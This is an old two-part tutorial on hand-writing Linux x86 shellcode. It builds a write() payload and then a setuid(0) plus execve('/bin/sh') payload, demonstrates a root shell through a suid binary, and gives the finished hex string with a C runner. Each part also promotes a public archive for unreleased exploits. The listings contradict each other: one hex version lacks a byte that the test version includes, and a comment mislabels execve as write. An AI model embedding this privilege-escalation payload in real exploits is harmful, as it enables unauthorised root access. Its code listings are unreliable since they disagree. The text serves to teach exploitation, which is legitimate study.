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shellcodin.txt

shellcodin.txt
Posted Sep 17, 2002
Authored by Bob, dsr | Site blaat.dtors.net

Shellcoding - How to write shellcode for Linux/x86. Includes parts I + II.

tags | paper, x86, shellcode
systems | linux, unix
SHA-256 | ab9b8ac49332beb7d33224ea976173ece2c5d27c3e8ef84a8f08f0888ea062bf

shellcodin.txt

Change Mirror Download
--------------------------------------------------------

Shellcoding.txt by bob from dtors.net

--------------------------------------------------------


Introduction
------------

There is no real easy way out when comming to learn how to do shellcode.
You have to no a little bit of asm, and how the stack is sorted. The
way im going to explain differs from aleph1's method, which i learnt
from the guys at netric.org.

This paper is based on Linux x86 platforms.

Some Simple asm basics
----------------------

Im going to give you some simple asm basics that you will need
to know to follow this paper.

MOV - This puts some [data] into a register.
For example:
mov ax,10 - Puts 10 into ax.
mov bx,cx - Moves value from cx into bx
mov dx, number - Moves the value of number into dx

PUSH - Pushes a piece of [data] onto the stack.
For example push $data

POP - Puts the [data] from the stack into a
specified register or variable.
For example pop %eax

Push a push pop and save some for later:

push cx - put cx on the stack
pop cx - puts value from the stack into cx

XCHG - Exchange two registers

INT - calls a bios function which are subroutines
that we would not write a function for.
For example opening a file.

Most interupts have more than one function, this
means we have to pass a number to the one we want.

XOR - Clears a register.

LEA - Load effective address - we wont be using this.

Lets get started
----------------

I have explained a little bit of asm to you, which should help you understand where
we go from here.

For an example im going to make some shellcode which will write() a string to the screen.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

/*
* Linux x86 shellcode by bob from Dtors.net.
* write(stdout,"bob from DSR", 15); exit;
*/



#include <stdio.h>

char
shellcode[]=
"\x31\xc0\x31\xdb\x31\xd2\x53\x68\x20\x44\x53\x52"
"\x68\x66\x72\x6f\x6d\x68\x62\x6f\x62\x20\x89\xe1"
"\xb2\x0f\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"

int
main()
{
void (*funct) ();
(long) funct = &shellcode;
funct();
}

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Now i bet your wondering what the hell is bob on about now, well im gonna step back
now and explain how i got this.

Well first of all lets execute this and see what it does.

[bob@dtors bob]$ ./bob
bob from DSR
[bob@dtors bob]$

OK so its a simple write()...lets see how we done this.

xor %eax,%eax #clear eax
xor %ebx,%ebx #clear ebx
xor %edx,%edx #clear edx

We clear the registers, because we have to
terminate that string with a 0.

push %ebx #push ebx on the stack

We push ebx which contains 0 bytes onto the stack so that our shellcode
wont execute crap after our string. For example /bin/sh[stack crap].

push $0x52534420 #push DSR on the stack
push $0x6d6f7266 #push from on the stack
push $0x20626f62 #push bob on the stack

Now this is where we differ from aleph1's method. Because we have the obstacle
of finding where the string exists in memory, aleph1 used a JMP and a CALL
instruction. This way is alot easier, what we do is just push the strings itself
onto the stack, and then the $esp is the address of your string.

mov %esp,%ecx #mov contents of esp into ecx

Here we move the contents of esp into ecx, moving our string from one register
to the other, freeing up the esp, incase we want to push something else onto
the stack.

mov $0x0f,%dl #reserve 15 bytes for arg

This here will reserve 15 bytes for our string. In case you didnt notice,
$0x0f is hex for 15.

mov $0x4,%al #syscall for write

Self explanitry, we get the syscall from unistd.h for write, and then declare it here.

int $0x80 #execute the syscall

The OS will no now that we want to execute the syscall.

xor %eax,%eax #push a 0 byte into eax

Once again we are clearing eax.

Now we need the exit() syscall.

mov $0x1,%al #syscall for exit
int $0x80 #execute the syscall

We give it the syscall and execute it to exit.

Thats all we have to do...now we need to convert this into little endian.
So we put it in C like so:

//DSR.c
void main(){
__asm__("


xor %eax,%eax #clear eax
xor %ebx,%ebx #clear ebx
xor %edx,%edx #clear edx
push %ebx #push ebx on the stack
push $0x52534420 #push DSR on the stack
push $0x6d6f7266 #push from on the stack
push $0x20626f62 #push bob on the stack
mov %esp,%ecx #mov contents of esp into ecx
mov $0x0f,%dl #reserve 15 bytes for arg
mov $0x4,%al #syscall for write
int $0x80 #execute the syscall
xor %eax,%eax

// exit;
mov $0x1,%al #syscall for exit
int $0x80 #execute the syscall
");
}

Then we compile this so we can disassemble it and open up in gdb:

[bob@dtors.net bob]$ gcc DSR.c -o DSR -ggdb -g
[bob@dtors.net bob]$ gdb ./DSR
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) x/bx main+3
0x804839b <main+3>: 0x31
(gdb)
0x804839c <main+4>: 0xc0
(gdb)
0x804839d <main+5>: 0x31
(gdb)
0x804839e <main+6>: 0xdb
(gdb)
0x804839f <main+7>: 0x31
(gdb) PRESS ENTER UNTIL END

Then we convert this to little endian:

\x31\xc0\x31\xdb\x31 ...........and so on till you reach the end.

The End.
--------

That concludes the first paper on shellcoding. My main purpose for writing this, is
because i always find it the best way to learn, by writing about it, for other to
learn from. It will keep it fresh in me head ;)

I would like to thank eSDee, r00tdude, and Laurens from netric.org, for helping
me out in the past.

Below you will find a few references to help you out:

http://simas.wox.org/syscalls/
http://www.newroot.de/
http://linuxasm.org/
http://www.netric.org/
http://www.dtors.net/

Mesgs:
------
Check out http://hack.dtors.net It is a NEW public exploits archive of the
latest exploits, or unreleased. It needs your help and support though to get it
started. It does have an upload script for you to submit your exploits. With
your support it CAN be the LARGEST available exploits archive on the net.









------------------------------------------------------------------------
hack.dtors.net !! hack.dtors.net !! hack.dtors.net !! hack.dtors.net !!
------------------------------------------------------------------------

Shellcodin Part II by bob from dtors.net


------------------------------------------------------------------------
hack.dtors.net !! hack.dtors.net !! hack.dtors.net !! hack.dtors.net !!
------------------------------------------------------------------------


Introduction
------------

There is no real easy way out when comming to learn how to do shellcode.
You have to no a little bit of asm, and how the stack is sorted. The
way im going to explain differs from aleph1's method, which i learnt
from the guys at netric.org.

This paper is based on Linux x86 platforms.

Some Simple asm basics
----------------------

Im going to give you some simple asm basics that you will need
to know to follow this paper.

MOV - This puts some [data] into a register.
For example:
mov ax,10 - Puts 10 into ax.
mov bx,cx - Moves value from cx into bx
mov dx, number - Moves the value of number into dx

PUSH - Pushes a piece of [data] onto the stack.
For example push $data

POP - Puts the [data] from the stack into a
specified register or variable.
For example pop %eax

Push a push pop and save some for later:

push cx - put cx on the stack
pop cx - puts value from the stack into cx

XCHG - Exchange two registers

INT - calls a bios function which are subroutines
that we would not write a function for.
For example opening a file.

Most interupts have more than one function, this
means we have to pass a number to the one we want.

XOR - Clears a register.

LEA - Load effective address similar to mov.

SHeLLCodin...
-------------

In the last paper i explained the write() syscall, and how we went about using it.
Well in this paper we are going to actually make some SHell code that executes a shell.

So first off lets get down to our asm...

xor %eax,%eax #clear eax
push %eax #push eax onto the stack

We clear the registers, because we have to
terminate that string with a 0. Then we push eax onto the stack.

pushl $0x68732f6e #push /sh onto the stack
pushl $0x69622f2f #push //bin onto the stack

Here, we are executing //bin/sh...the reason for this is that (/bin) is 4 bytes,
and (/sh) is 3 bytes, which will leave us with a 0 byte at the end of our string.

So to clear that 0 byte at the end, we use (//bi) - 4 bytes, (n/sh) - the remainder
4 bytes. We could use another shell such as /bin/ash...which would clear the 0byte
also.

mov %esp,%ebx #mov contents of esp into ebx

Here we move the contents of esp into ebx, moving our string from one register
to the other, freeing up the esp, incase we want to push something else onto
the stack.

lea 0x8(%esp,1),%edx #loads effective address

This is similar to MOV, except this "loads the effective address".


push %eax #push eax onto the stack
push %ebx #push ebx onto the stack
lea (%esp,1),%ecx #load effective address

Self explanitry..

mov $0xb,%al #syscall for write

Self explanitry, we get the syscall from unistd.h for execve(), and then declare it here.

int $0x80 #execute the syscall

The OS will no now that we want to execute the syscall.

Lets see if this works:

//x86_sh.c
void main(){
__asm__("


xor %eax,%eax
push %eax
pushl $0x68732f6e
pushl $0x69622f2f
mov %esp,%ebx
lea 0x8(%esp,1),%edx
push %eax
push %ebx
lea (%esp,1),%ecx
mov $0xb,%al
int $0x80

");
}


[bob@dtors.net bob]$ gcc x86_sh.c -o x86_sh
[bob@dtors.net bob]$ ./x86_sh
$ exit
[bob@dtors.net bob]$

There it worked! All in 29 bytes! Not bad...but unsafe..if the execve() was to fail,
it would crash a horrible death, so we need to add an exit() call in there.

// exit();
xor %eax,%eax #clear eax register
mov $0x1,%al #syscall for exit
int $0x80 #execute syscall

And we add that to the end of our original code...like:


//x86_sh.c
void main(){
__asm__("


xor %eax,%eax
push %eax
pushl $0x68732f6e
pushl $0x69622f2f
mov %esp,%ebx
lea 0x8(%esp,1),%edx
push %eax
push %ebx
lea (%esp,1),%ecx
mov $0xb,%al
int $0x80
xor %eax,%eax #clear eax register
mov $0x1,%al #syscall for exit
int $0x80 #execute syscall

");
}

[bob@dtors.net bob]$ gcc x86_sh.c -o x86_sh
[bob@dtors.net bob]$ ./x86_sh
$ exit
[bob@dtors.net bob]$

Still works, but this time it is slightly larger, but at least its not gonna sigsegv on us.

Ok we have got this far but we are missing one little bit....If we use this shellcode in
an exploit we will get a shell, but it wont be the effective uid/gid. So we need to add
a little bit more to setuid(). So lets check out what the syscall is for setuid.

[bob@dtors bob]$ cat /usr/src/linux-2.2.14/include/asm-i386/unistd.h | grep setuid
#define __NR_setuid 23
[bob@dtors bob]$

Then we take 23 and convert it to hex which gives us: 17.

Which then converted to asm gives us:

xor %eax,%eax
xor %ebx,%ebx
xor %ecx,%ecx
mov $0x17,%al
int $0x80

We clear eax, ebx and ecx....the reason for this is the syscall # goes into eax,
then ebx and ecx are arg1 and arg 2. So what we are actually doing is setuid(0,0).
Then the hex syscall# for setuid, then we execute it.

So our revised code now is:


//x86_sh.c
void main(){
__asm__("

xor %eax,%eax #setuid()
xor %ebx,%ebx
xor %ecx,%ecx
mov $0x17,%al
int $0x80

xor %eax,%eax #execve()
push %eax
pushl $0x68732f6e
pushl $0x69622f2f
mov %esp,%ebx
lea 0x8(%esp,1),%edx
push %eax
push %ebx
lea (%esp,1),%ecx
mov $0xb,%al
int $0x80

xor %eax,%eax #exit()
mov $0x1,%al
int $0x80

");
}

That should just about do us. We setuid 0,0, then we execute //bin/sh, and finally, exit();

Now lets compile this and test it out:

[bob@dtors bob]$ su
Password:
[root@dtors bob]# chown root.root ./x86_sh
[root@dtors bob]# chmod 4775 ./x86_sh
[root@dtors bob]# ls -al ./x86_sh
-rwsrwxr-x 1 root root 12014 Sep 6 08:54 ./x86_sh
[root@dtors bob]# exit
exit
[bob@dtors bob]$ ./x86_sh
sh-2.05# id -a
uid=0(root) gid=501(bob) groups=501(bob)
sh-2.05# exit
[bob@dtors.net bob]$

There we go..we set ./x86_sh suid, and owned by root, to see if it
would setuid(), then execute /bin/sh. As you can see it worked..

..so now to convert into little endian:

[bob@dtors.net bob]$ gcc x86_sh.c -o x86_sh -ggdb -g
[bob@dtors.net bob]$ gdb x86_sh
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) x/bx main+3
0x804839b <main+3>: 0x31
(gdb)
0x804839c <main+4>: 0xc0
(gdb)
0x804839d <main+5>: 0x31
(gdb)
0x804839e <main+6>: 0xdb
(gdb)
0x804839f <main+7>: 0x31
(gdb)
0x80483a0 <main+8>: 0xc9
(gdb)
(gdb) PRESS ENTER UNTIL END

Then we convert this to little endian:

\x31\xc0\x31\xdb\x31 ...........and so on till you reach the end.

Which eventually results to:

"\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x2f\x2f"
"\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53"
"\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";

Now to test we copied it out write we can execute this by making a program to do so:


#include <stdio.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50"
"\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0"
"\xb0\x01\xcd\x80";
int
main()
{
void (*dsr) ();
(long) dsr = &shellcode;
printf("Size: %d bytes.\n", sizeof(shellcode));
dsr();
}

[bob@dtors.net bob]$ gcc test.c -o test
[bob@dtors.net bob]$ ./test
$ exit
[bob@dtors.net bob]$

Wollah! badaBING!


The End.
--------

That concludes the second paper on shellcoding. My main purpose for writing this, is
because i always find it the best way to learn, by writing about it.

Thanks goes to eSDee, r00tdude, and Laurens from netric.org, for helping
me out.

Below you will find a few references to help you out:

http://simas.wox.org/syscalls/
http://www.newroot.de/
http://linuxasm.org/
http://www.netric.org/
http://www.dtors.net/
http://www.nopninjas.org

Mesgs:

Check out http://hack.dtors.net It is a NEW public exploits archive of the
latest exploits, or unreleased. It needs your help and support though to get it
started. It does have an upload script for you to submit your exploits. With
your support it CAN be the LARGEST available exploits archive on the net.


------------------------------------------------------------------------
hack.dtors.net !! hack.dtors.net !! hack.dtors.net !! hack.dtors.net !!
------------------------------------------------------------------------



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